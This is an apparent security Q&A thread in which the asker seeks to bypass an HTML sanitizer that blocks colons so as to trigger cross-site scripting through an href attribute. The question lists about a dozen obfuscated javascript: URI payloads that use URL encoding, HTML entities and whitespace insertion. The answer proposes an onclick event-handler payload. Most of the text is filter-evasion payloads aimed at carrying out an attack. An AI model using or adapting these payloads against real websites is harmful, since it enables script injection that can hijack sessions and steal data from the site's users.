It's possible to trigger a XSS in url context without this following caracter ' : '?

Question

I try to bypass a XSS filter to trigger a XSS in url context. But the problem this following char is blacklist ' :' The site allow the user to use some basic html balise like h1, h2, h3, p, a, u, etc ... The only potential vector attack is to trigger the XSS with this <a href='javascript:alert()'></a> But the problem the char ':' is harshly blocked by a htmlsanitizer.

After many research in internet i can not bypass it I have try to use urlencoding and numeric

with numeric encoding the char is automatically decoded and the my payload is blocked.

And with urlencoding the payload is not blocked but the navigator

Note the htmlsanitizer don't block alert(1); into the payload

I have try this following payload and not working

<a href='javascript:alert(1);//https://attacker.com/'>Click</a>
<a href='javascript:%61%6c%65%72%74%28%31%29'>Click</a>
<a href='javascript://%0d%0aprompt(1);com'>Click</a>
<a href='&#106;avascript:alert(1)'>Click</a>
<a href='&#x6A;avascript:alert(1)'>Click</a>
<a href='&#x6A;avascript&#0000058&#0000097lert(1)'>Click</a>
<a href='  &#x8; &#23;   javascript:alert(1)'>Click</a>
<a href='javascript:\u0061lert(1);'>Click</a>
<a href=j&#97v&#97script&#x3A;&#97lert(1)>Click</a>
<a href='javascript:%61%6c%65%72%74%28%31%29'>Click</a>
<a href='javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;'>Click</a>
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(1)&rpar;">Click</a

/!\ Note: I can only control the href attribute, and the quote is escaped /!\

My question is, is possible to trigger a XSS in url context without this following caracter ' : ' ?

Thank you

Answer 1

If, as it seems from your question, you control the entire tag, then you can try <a onclick="alert(1)" href="#">